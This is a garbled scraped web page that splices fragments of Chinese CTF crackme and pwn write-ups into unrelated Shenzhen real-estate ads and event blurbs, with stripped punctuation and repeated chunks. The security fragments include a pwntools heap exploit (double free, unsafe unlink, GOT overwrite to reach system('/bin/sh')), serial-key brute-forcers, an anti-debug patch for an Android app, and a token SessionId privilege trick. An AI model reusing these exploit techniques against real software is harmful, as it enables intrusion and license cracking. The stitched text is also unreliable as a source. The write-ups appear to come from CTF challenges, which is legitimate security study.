,(自有品牌的提供品牌注册证明或品牌核准证明、加盟品牌的提供有效期内的加盟授权书或其它能够证明其拥有品牌独立进行经营的相关资料)3、截至投标日时,投标人至少有1家相同或以上面积及同品牌的分店正在运营。unsignedchardata[156]={0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x00,0x00,0x00};在CALL00403910这个函数中验证,长度位0x9c,方式位高低字节减0x30分别与表中的每个元素的高低字节比较:找到数字对应关系,多输入几次试验下就出来了:其实就是对输入分别与下面这一串异或,返回结果。?市政配套完善平湖生态园二期基本完成,平湖凤凰山国家矿山公园二期也完成大半,未来将是平湖景观资源的几大亮点;平湖医院将新建成为一座拥有2000张床位的市属三级综合医院,努力打造成一流综合医院,成为十三五医院建设新标杆。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。现状会车困难、交通拥堵存在消防安全隐患对于远洋城天曜的业主而言,从兴文路到小区门口,短短几百米的距离,在上下班高峰期要堵上20多分钟才能到家,随着小区入住率不断提高,拥堵频率越来越高,拥堵时长越来越久。2018年,预计是调控更加深化的一年,不仅从限购、限贷等方面进行限制,同时增加保障房人才房的供给。。WriteFile用来发送我们输入的注册码。,0x00,0x2D,0x42,0x4C,0x56,0x60,0x6A,0x74,0x05,0x0F,0x190x3B,0x00,0x4F,0x59,0x6E,0x78,0x09,0x13,0x1D,0x27,0x310x53,0x5D,0x00,0x71,0x02,0x0C,0x21,0x2B,0x35,0x3F,0x490x6B,0x75,0x06,0x00,0x1A,0x24,0x2E,0x38,0x4D,0x57,0x610x0A,0x14,0x1E,0x28,0x00,0x3C,0x46,0x50,0x5A,0x64,0x790x17,0x2C,0x36,0x40,0x4A,0x00,0x5E,0x68,0x72,0x03,0x0D0x2F,0x39,0x43,0x58,0x62,0x6C,0x00,0x07,0x11,0x1B,0x250x47,0x51,0x5B,0x65,0x6F,0x0B,0x15,0x00,0x29,0x33,0x3D0x5F,0x69,0x73,0x04,0x0E,0x18,0x22,0x37,0x00,0x4B,0x550x77,0x08,0x12,0x1C,0x26,0x30,0x3A,0x44,0x4E,0x00,0x6D0x16,0x20,0x2A,0x34,0x3E,0x48,0x52,0x5C,0x66,0x70,0x01目前可获得的开发商资料较少,应该属于实力比较一般的小型开发商,开发和运营水平比较一般。 详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#payload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1payload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:还是比较给力,memset这些都失败出来了,的就不行。强大的住宅地阵容吸引了35家房企参与(前所未有),而接下来的5年限售地才是今天的重头戏,总共24家房企参与竞拍,刚开拍就有众多房企同时举牌,在经过数轮激战后,最终由。上传的附件:农场内配有少年精英马术俱乐部、生态果园、花海、梯田谷海等。0x01提取apk中的/lib/armeabi-v7a/,0x02IDA反编译,有ptrace和kill(pid,...)反调试机制,将涉及两者的调用指令全部清零,即改为MOVSR0,R0nil指令0x03更新apk中的/lib/armeabi-v7a/,并重新签名0x04IDAadbforwardtcp:23946tcp:23946虚拟机,调试0x05提取异或EOR和base64加密的内部比对注册码xb_rkey前期混淆清除分析可以发现最终比对位置为.text000038D0,调试断下可知librf_:A46D58D0LDRBR2,[R1,R4]librf_:A46D58D2LDRBR3,[R0,R4]librf_:A46D58D4CMPR3,R2R0:异或EOR和BASE64加密的内部xb_rkeyA46F20204A50796A7570336543794A6A6C6B5636JPyjup3eCyJjlkV6A46F2030446D536D4748513D21210A0A00000000DmSmGHQ=!!......R1:异或EOR和BASE64加密的输入xb_ikeyB4B58DE0654B2F30363871525757677A78523878eK/068qRWWgzxR8xB4B58DF04247536D484874734A4D303D00000000BGSmHHtsJM0=....0x06逆向获取异或操作因子xorvector因为:xb_ikey=(ikey^xorvector)所以:xorvector=(xb_ikey)^(xb_ikey)可以从[0x05]处通过xb_ikey解码得到,也可以在base64编码前得到[]check函数在text:00005AFC开始执行base64编码,调试断下R0:(xb_ikey)A48E646078AFF4EBCA91596833C51F310464A61CA48E64707B6C24CD000000000000000000000000在IDAPpython执行下述代码可以得到注册码rkey=madebyericky94528,#0xA48E6460对应于断点处R0值importbase64b=(JPyjup3eCyJjlkV6DmSmGHQ=!!#b=$\xfc\xa3\xba\x9d\xde\x0bc\x96Ez\x0ed\xa6\x18tikey=12345678901234567890xorvector=[]rkeyL=[]foriinxrange(0,17):(Byte(0xA48E6460+i)^ord(ikey[i]))(chr(xorvector[i]^ord(b[i])))PythonrkeyL[m,a,d,e,b,y,e,r,i,c,k,y,9,4,5,2,8](rkeyL)#rkeymadebyericky94528[0x06,0x02]直接利用[0x05]中断点处信息得到注册码importbase64xb_rkey=JPyjup3eCyJjlkV6DmSmGHQ=#x_rkey=()#x_rkey=$\xfc\xa3\xba\x9d\xde\x0bc\x96Ez\x0ed\xa6\x18txb_ikey=eK/068qRWWgzxR8xBGSmHHtsJM0=x_ikey=(xb_ikey)#x_ikey=x\xaf\xf4\xeb\xca\x91Yh3\xc5\x1f1\x04d\xa6\x1c{l$\xcdikey=12345678901234567890xorvector=[]rkeyL=[]foriinxrange(0,17):(ord(x_ikey[i])^ord(ikey[i]))(chr(xorvector[i]^ord(x_rkey[i])))rkey=(rkeyL)printrkey#madebyericky945280x07MORE此方式攻击关键点是获取输入ikey对应的xb_ikey和xb_rkey=JPyjup3eCyJjlkV6DmSmGHQ=,而不同ikey对应不同xb_ikey,都可以用于获取xorvector因子;上述攻击中ikey长度取了20,实际ikey的长度最小应该为x_rkey的长度17,只要得到足够长的xorvector因子即可。 ,2017年2月13日,中基协发布4号文。return16;}//CRC32编码intgetTheKey2(unsignedchar*buf,intbufsize){DWORDret=-1;DWORD*bb=(DWORD*)aa;for(inti=0;ibufsize;i++){intxt=(ret0xff)^buf[i];ret=bb[1+xt]^(ret}return~ret;}unsignedcharbuf[4]={0};intget2(DWORDa){DWORDconfirm1=0x9e;//0x9eb3acb8==~0x614C5347DWORDconfirm2=0xb3;DWORDconfirm3=0xac;DWORDconfirm4=0xb8;DWORDtmp,x[4]={0};inti,y[4]={0};DWORD*bb=(DWORD*)aa;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm1){x[0]=bb[i];y[0]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm2=confirm2^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm2){x[1]=bb[i];y[1]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm3=confirm3^tmp;tmp=x[1]tmp=tmp0xff;confirm3=confirm3^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm3){x[2]=bb[i];y[2]=i;break;}}tmp=x[0];tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[1]tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[2]tmp=tmp0xff;confirm4=confirm4^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm4){x[3]=bb[i];y[3]=i;break;}}DWORDret=a;//0x32f38783;for(i=3;ii--){buf[3-i]=((ret0xff)^y[i]-1);ret=x[i]^(ret}return0;}//FNV-1aHash运算DWORDgetTheKey3(unsignedchar*buf,intbufsize){DWORDret=0x811C9DC5;for(inti=0;ibufsize;i++){DWORDxx=(DWORD)buf[i];ret=0x1000193*(ret^xx);}returnret;}intget3(DWORDa){unsignedchardd[4]={0x5C,0xA4,0x88,0xC9};DWORDret=a;inti,j;for(i=0;;i++)//614C5347-A19947FD-CE19CA2F-92F5E675-F4659CD7-0D33122D-F32BF53F-66263925-7BDE6D67-127F995D-CDAA8F4F-8379C0D5{for(j=0;jj++){DWORDxx=(DWORD)dd[j];ret=0x1000193*(ret^xx);//359C449B(1000193^-1)}if(ret==0x614C5347||ret==a)//0x614C5347{break;}}if(ret==0x614C5347){returni;}else{return-1;}}for(unsignedchari=0;i0xff;i++){bbuf[xs-1]=i;DWORDyy1=getTheKey2(bbuf,xs);get2(yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];//DWORDyy1=sub_1244(bbuf,xs);DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);if(udd!=-1){printf(%02X%08X,i,udd);}}bbuf[xs-1]=0x20;DWORDyy1=getTheKey2(bbuf,xs);get2(~yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);unsignedchar*memm=(unsignedchar*)malloc(udd*4+8+xs);memcpy(memm,bbuf,xs+4);for(inti=0;i=udd;i++){memm[xs+4+i*4+0]=0x5C;memm[xs+4+i*4+1]=0xA4;memm[xs+4+i*4+2]=0x88;memm[xs+4+i*4+3]=0xC9;}fp=fopen(zapus_,wb);fwrite(memm,udd*4+8+xs,1,fp);fclose(fp);上传的附件: 正是在这种大背景下,华润置地旗下区域型标杆购物中心产品线——“万象汇”适时进驻,填补了布吉区域的商业空白。    人工智能创新分享沙龙    探寻未来发展及创业趋势    活动伊始,大道智创创始人、知名AI产品经理魏金生先生概述了人工智能的发展历史及现状,并着重讲解了人工智能在当今社会的应用领域,以及未来的发展趋势。序号项目编号物业名称出租资产面积(㎡)招租底价㎡(每月)出租物业经营业态限定免租期(天)出租年限承租方应具备的资格条件竞标保证金10658-1702SZTC544110栋A座02层11号商铺餐饮(食堂除外)15051、竞标人为具有独立法人资格的公司或其他组织,不含个体工商户。电子游艺bbin电子游戏,餐厨空间不局促,U型厨房性能优秀适合居家生活所需。  据中介介绍,地铁10号线华南城站就在周边设站,地块后面巨大的城中村也将进行旧改,现由深圳某开发商推进,已经有住户开始搬迁。 宝安区成交金额TOP10根据深圳房地产信息网的监测,中粮天悦壹号以63920万元取得了1月份宝安区成交金额冠军;宏发QCC前城以61825万元位居亚军;润科华府以52542万元位居季军。里面涉及了两个结构体,分别是accountInfo和roleInfo,其实后面的游戏里还有一个物品信息的结构体,不过解题没用上,就不写了。。直播先锋进入城中村,确实有几栋整栋楼人去楼空,上面写着大大的拆字。unsignedchardata[156]={0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x00,0x00,0x00};在CALL00403910这个函数中验证,长度位0x9c,方式位高低字节减0x30分别与表中的每个元素的高低字节比较:找到数字对应关系,多输入几次试验下就出来了: 广深港高铁在东莞设站虎门站,往北可到广州南站,往南直达深圳北站等。。会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。    与惬意的时光邂逅,众人手中的七彩年糕吐司与生活碰撞出甜美的蜜意;在流动的光阴中,孩子与父母的笑容被打上温馨的印记。、函数获取的,看其中是否包含。如果不感兴趣,可以直接跳到后面的【验证】及【分析】部分阅读。而南向长达米的阳台,以及3米长的凸窗,也有很大的拓展想象空间。,他强调,“我们按照正常的施工报建,施工有要求,需要安全围蔽,我们的围蔽也是在建筑红线以内,没有侵占市政道路,首先必须明确这一点。下面看-i选项的处理函数掉用了ChangeSessionId来改变token的SessionID通过-i参数发现服务程序改变了Token的SessionId为当前活动的Session。再来看下-d选项最后就是启动程序了由此得到如下答案,服务是通过改变token中的sessionID来改变程序运行的session,最终在当前session下启动了系统全权限的进程。 上传的附件:---------------二、平湖这块纯租地不要太好!对面是华南城和熙璟城    G05425-1027地处龙岗区平湖街道,该宅地地处平湖目前发展最好的区域,华南城、熙璟城、同创新作围绕,给人“高大上”的感觉。又是一道pwn题,需要利用程序的漏洞来getshell然后读取存放在远程服务器上的flag文件。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535  1、1月龙岗成交1421套,虽环比减少%,但稳坐龙头地位。有业内人士分析,以南沙约二分之一的价格,就可以置业广州南超千亩的大盘,这样的高性价比项目,预计会带旺中山北部片区市场。 中泰集团从未忘记“品质生活推动者”的使命,坚持对品质的执着追求。在消息响应函数Hi_ctrl_WM_COMMAND_handler_sub_403E80中通过调用Hi_update_sub_41C31A(True)更新编辑框内容到关联的控件成员变量中.text::00403EB4movecx,[ebp+var_118_thisPtr].text:00403EBAcallHi_update_sub_41C31A通过调用Hi_update_sub_41C31A中调用Hi_getEditText_sub_403B600041C361calldwordptr[eax+100h];Hi_getEditText_sub_403B60Hi_getEditText_sub_403B60如下,可见edit控件关联的字符串成员变量在偏移处.text:00403B63leaeax,[ecx+0C0h].text:00403B69pusheax;::00403B6Fpush[ebp+arg_0]:00403B72callHi_InP2DlgID_OutP3text_sub_416F7A下述代码将注册码通过Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30函数分成两部分粗放于两个元素的CStr数组中var_18_2Cstr。先看下-s选项的处理调用DuplicateTokenEx复制了当前服务程序的token。,完整的dump脚本本来想找个反编译工具的,结果一直找不到,最后看了看脚本中的字符串,发现xor,再对比一下输入输出,果然是xor.反推:1.根据输入的字符串,输出的结果,以及异或的过程和最终的对比结果,直接用python还原:#python3#输入字符串,长度不等于12则返回结果全为0inputN=mapzzzzzzz12#经过luajit运算之后的结果outN=[0x1d,0x4,0x14,0x13,0x3,0x4b,0x48,0x49,0x4e,0x4f,0x7,0x5]#C代码中异或的值cXorList=[0x5,0x12,0xa,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94]#最终的比较结果cmpList=[0x18,0x16,0x1e,0x2f,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94]#求luajit中异或的值luaXorList=[]#这个list中值为输入字符串之后应该输出的值needList=[]foriinrange(0,len(inputN)):tmp=cXorList[i]^cmpList[i]#print(hex(tmp))(tmp0xff)foriinrange(0,len(inputN)):tmp=ord(inputN[i])^outN[i]#print(hex(tmp))(tmp0xff)strRet=foriinrange(0,len(inputN)):tmp=luaXorList[i]^needList[i]#print(hex(tmp))strRet+=chr(tmp)print(strRet)句柄表在EPROCESS结构体中,有一个句柄表成员:我们知道,句柄是为了操作内核对象的“序号”,它的好处在于统一了接口,使得进程(准确来说是线程)能够用统一的方式操作不同的对象资源。详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#payload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1p